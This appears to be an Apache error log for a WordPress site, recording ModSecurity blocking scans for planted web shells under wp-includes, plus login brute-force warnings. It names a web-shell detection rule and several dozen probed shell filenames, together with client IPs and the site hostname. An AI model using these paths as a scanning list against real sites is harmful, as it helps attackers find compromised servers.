[Fri Apr 24 22:51:29.418214 2026] [:error] [pid 17721:tid 17805] [client 98.159.37.115:55465] [client 98.159.37.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aeuDceFXXkLeyDnfk_9XqwAAABg"]
[Fri Apr 24 22:51:33.038488 2026] [:error] [pid 4177:tid 4199] [client 98.159.37.133:39619] [client 98.159.37.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/defaults.php"] [unique_id "aeuDdX2asKnvdrSe0x5UngAAAY4"]
[Fri Apr 24 22:51:35.313977 2026] [:error] [pid 4177:tid 4187] [client 98.159.37.121:30029] [client 98.159.37.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/index.php"] [unique_id "aeuDd32asKnvdrSe0x5UpwAAAYI"]
[Fri Apr 24 22:51:41.327440 2026] [:error] [pid 17720:tid 17766] [client 216.24.210.195:62069] [client 216.24.210.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aeuDfehlUs6BS3Ng7_XhTQAAAMw"]
[Fri Apr 24 22:51:43.680903 2026] [:error] [pid 17721:tid 17794] [client 173.239.218.161:38251] [client 173.239.218.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aeuDf-FXXkLeyDnfk_9XtAAAAA0"]
[Fri Apr 24 22:51:46.925230 2026] [:error] [pid 17721:tid 17800] [client 173.239.218.179:56695] [client 173.239.218.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/index.php"] [unique_id "aeuDguFXXkLeyDnfk_9XtwAAABM"]
[Fri Apr 24 22:51:49.228833 2026] [:error] [pid 17808:tid 17823] [client 98.159.37.125:33609] [client 98.159.37.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aeuDhearbOEFI8qshvJleQAAAE0"]
[Fri Apr 24 22:51:49.915497 2026] [:error] [pid 14531:tid 14545] [client 98.159.37.115:63413] [client 98.159.37.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php"] [unique_id "aeuDhXfLU2gw-6KR-GbqvQAAAUw"]
[Fri Apr 24 22:51:55.273629 2026] [:error] [pid 17721:tid 17793] [client 173.239.218.177:40797] [client 173.239.218.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/info.php"] [unique_id "aeuDi-FXXkLeyDnfk_9XvAAAAAw"]
[Fri Apr 24 22:51:56.239526 2026] [:error] [pid 17808:tid 17812] [client 194.5.52.23:20775] [client 194.5.52.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class.api.php"] [unique_id "aeuDjOarbOEFI8qshvJlhQAAAEI"]
[Fri Apr 24 22:51:57.136491 2026] [:error] [pid 17720:tid 17760] [client 98.159.37.118:22125] [client 98.159.37.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/index.php"] [unique_id "aeuDjehlUs6BS3Ng7_XhawAAAMY"]
[Fri Apr 24 22:52:08.196153 2026] [:error] [pid 14531:tid 14535] [client 98.159.37.127:28803] [client 98.159.37.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/admin.php"] [unique_id "aeuDmHfLU2gw-6KR-Gbq3QAAAUI"]
[Fri Apr 24 22:52:12.525213 2026] [:error] [pid 17808:tid 17824] [client 98.159.37.131:27539] [client 98.159.37.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.37.131, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aeuDnOarbOEFI8qshvJltQAAAE4"]
[Fri Apr 24 22:52:27.252156 2026] [:error] [pid 17808:tid 17823] [client 98.159.37.131:27539] [client 98.159.37.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aeuDq-arbOEFI8qshvJl6QAAAE0"]
[Fri Apr 24 22:52:31.931769 2026] [:error] [pid 17808:tid 17814] [client 98.159.37.119:62451] [client 98.159.37.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.37.119, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aeuDr-arbOEFI8qshvJl_AAAAEQ"]
[Fri Apr 24 22:52:34.414122 2026] [:error] [pid 17808:tid 17830] [client 98.159.37.119:62451] [client 98.159.37.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/item.php"] [unique_id "aeuDsuarbOEFI8qshvJmAAAAAFQ"]
[Fri Apr 24 22:52:44.634990 2026] [:error] [pid 17808:tid 17827] [client 173.239.218.169:45343] [client 173.239.218.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aeuDvOarbOEFI8qshvJmNQAAAFE"]
[Fri Apr 24 22:52:55.554810 2026] [:error] [pid 17721:tid 17790] [client 173.239.218.162:45109] [client 173.239.218.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aeuDx-FXXkLeyDnfk_9X2gAAAAk"]
[Fri Apr 24 22:52:59.484594 2026] [:error] [pid 17720:tid 17760] [client 173.239.218.171:54077] [client 173.239.218.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aeuDy-hlUs6BS3Ng7_Xh2wAAAMY"]
[Fri Apr 24 22:53:04.694642 2026] [:error] [pid 17808:tid 17823] [client 173.239.218.182:52215] [client 173.239.218.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.182, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-login.php"] [unique_id "aeuD0OarbOEFI8qshvJmawAAAE0"]
[Fri Apr 24 22:53:05.761305 2026] [:error] [pid 17808:tid 17818] [client 173.239.218.182:52215] [client 173.239.218.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aeuD0earbOEFI8qshvJmbwAAAEg"]
[Fri Apr 24 22:53:25.609331 2026] [:error] [pid 17808:tid 17821] [client 98.159.37.126:37989] [client 98.159.37.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aeuD5earbOEFI8qshvJmvwAAAEs"]
[Fri Apr 24 22:53:31.114446 2026] [:error] [pid 17719:tid 17751] [client 173.239.218.158:34527] [client 173.239.218.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.158, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aeuD68TZ9gzEyL1BkPrCLAAAAJg"]
[Fri Apr 24 22:53:36.276203 2026] [:error] [pid 17719:tid 17743] [client 173.239.218.158:34527] [client 173.239.218.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/about.php"] [unique_id "aeuD8MTZ9gzEyL1BkPrCMQAAAJA"]
[Fri Apr 24 22:53:38.747676 2026] [:error] [pid 17720:tid 17775] [client 98.159.37.125:49237] [client 98.159.37.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/infi.php"] [unique_id "aeuD8uhlUs6BS3Ng7_XiIAAAANU"]
[Fri Apr 24 22:53:42.218175 2026] [:error] [pid 17720:tid 17760] [client 98.159.37.127:62217] [client 98.159.37.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/index.php"] [unique_id "aeuD9uhlUs6BS3Ng7_XiKgAAAMY"]
[Fri Apr 24 22:53:46.500470 2026] [:error] [pid 17721:tid 17798] [client 98.159.37.130:63161] [client 98.159.37.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/about.php"] [unique_id "aeuD-uFXXkLeyDnfk_9YIAAAABE"]
[Fri Apr 24 22:53:47.918632 2026] [:error] [pid 17721:tid 17782] [client 98.159.37.132:31755] [client 98.159.37.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/index.php"] [unique_id "aeuD--FXXkLeyDnfk_9YIgAAAAE"]
[Fri Apr 24 22:53:56.177692 2026] [:error] [pid 17721:tid 17798] [client 173.239.218.178:58859] [client 173.239.218.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aeuEBOFXXkLeyDnfk_9YMgAAABE"]
[Fri Apr 24 22:53:58.748461 2026] [:error] [pid 4177:tid 4194] [client 98.159.37.119:62579] [client 98.159.37.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/about.php"] [unique_id "aeuEBn2asKnvdrSe0x5VawAAAYk"]
[Fri Apr 24 22:54:05.979481 2026] [:error] [pid 17720:tid 17770] [client 173.239.218.169:32627] [client 173.239.218.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/edit.php"] [unique_id "aeuEDehlUs6BS3Ng7_XicAAAANA"]
[Fri Apr 24 22:54:10.476901 2026] [:error] [pid 4177:tid 4209] [client 98.159.37.125:38959] [client 98.159.37.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aeuEEn2asKnvdrSe0x5VewAAAZg"]
[Fri Apr 24 22:54:13.836665 2026] [:error] [pid 17720:tid 17761] [client 173.239.218.170:51789] [client 173.239.218.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/click.php"] [unique_id "aeuEFehlUs6BS3Ng7_XihgAAAMc"]
[Fri Apr 24 22:54:19.592720 2026] [:error] [pid 17808:tid 17820] [client 173.239.218.162:27675] [client 173.239.218.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aeuEG-arbOEFI8qshvJnEgAAAEo"]
[Fri Apr 24 22:54:29.537437 2026] [:error] [pid 17808:tid 17828] [client 173.239.218.169:41593] [client 173.239.218.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aeuEJearbOEFI8qshvJnLQAAAFI"]
[Fri Apr 24 22:54:30.532624 2026] [:error] [pid 17720:tid 17766] [client 98.159.37.119:59569] [client 98.159.37.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/xl2023.php"] [unique_id "aeuEJuhlUs6BS3Ng7_XikQAAAMw"]
[Fri Apr 24 22:54:31.172778 2026] [:error] [pid 4177:tid 4204] [client 98.159.37.128:61217] [client 98.159.37.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aeuEJ32asKnvdrSe0x5VlAAAAZM"]
[Fri Apr 24 22:54:32.310620 2026] [:error] [pid 14531:tid 14539] [client 173.239.218.183:20287] [client 173.239.218.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aeuEKHfLU2gw-6KR-Gbr3QAAAUY"]
[Fri Apr 24 22:54:35.176605 2026] [:error] [pid 17720:tid 17764] [client 173.239.218.165:39165] [client 173.239.218.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aeuEK-hlUs6BS3Ng7_XingAAAMo"]
[Fri Apr 24 22:54:36.136480 2026] [:error] [pid 22114:tid 22136] [client 98.159.37.120:59709] [client 98.159.37.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/index.php"] [unique_id "aeuELIAuWGz3WlMQjocBGwAAARM"]
[Fri Apr 24 22:54:39.730521 2026] [:error] [pid 17719:tid 17729] [client 173.239.218.163:63015] [client 173.239.218.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "aeuEL8TZ9gzEyL1BkPrCTgAAAII"]
[Fri Apr 24 22:54:41.007287 2026] [:error] [pid 17808:tid 17820] [client 173.239.218.173:23251] [client 173.239.218.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/index.php"] [unique_id "aeuEMearbOEFI8qshvJnLgAAAEo"]
[Fri Apr 24 22:54:44.840887 2026] [:error] [pid 17808:tid 17827] [client 98.159.37.117:55371] [client 98.159.37.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aeuENOarbOEFI8qshvJnMgAAAFE"]
[Fri Apr 24 22:54:45.768339 2026] [:error] [pid 17808:tid 17813] [client 173.239.218.159:22169] [client 173.239.218.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/security.php"] [unique_id "aeuENearbOEFI8qshvJnOwAAAEM"]
[Fri Apr 24 22:54:48.249330 2026] [:error] [pid 17720:tid 17760] [client 98.159.37.127:39689] [client 98.159.37.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aeuEOOhlUs6BS3Ng7_XipwAAAMY"]
[Fri Apr 24 22:54:51.704171 2026] [:error] [pid 4177:tid 4192] [client 98.159.37.118:25347] [client 98.159.37.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/about.php"] [unique_id "aeuEO32asKnvdrSe0x5VpQAAAYc"]
[Fri Apr 24 22:54:57.685392 2026] [:error] [pid 4177:tid 4191] [client 98.159.37.133:51271] [client 98.159.37.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aeuEQX2asKnvdrSe0x5VuAAAAYY"]
[Fri Apr 24 22:55:08.091030 2026] [:error] [pid 17808:tid 17830] [client 173.239.218.173:26311] [client 173.239.218.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/file.php"] [unique_id "aeuETOarbOEFI8qshvJnXQAAAFQ"]
[Fri Apr 24 22:55:14.743819 2026] [:error] [pid 4177:tid 4207] [client 173.239.218.160:37563] [client 173.239.218.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aeuEUn2asKnvdrSe0x5VzAAAAZY"]
[Fri Apr 24 22:55:15.798381 2026] [:error] [pid 17808:tid 17814] [client 98.159.37.134:50029] [client 98.159.37.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aeuEU-arbOEFI8qshvJndgAAAEQ"]
[Fri Apr 24 22:55:22.509289 2026] [:error] [pid 17808:tid 17822] [client 173.239.218.177:55339] [client 173.239.218.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aeuEWuarbOEFI8qshvJnlgAAAEw"]
[Fri Apr 24 22:55:27.180784 2026] [proxy_fcgi:error] [pid 4177:tid 4204] [client 98.159.37.117:52653] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 22:55:27.356560 2026] [proxy_fcgi:error] [pid 4177:tid 4186] [client 98.159.37.117:52653] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 22:55:27.572974 2026] [proxy_fcgi:error] [pid 4177:tid 4190] [client 98.159.37.117:52653] AH01071: Got error 'Primary script unknown'
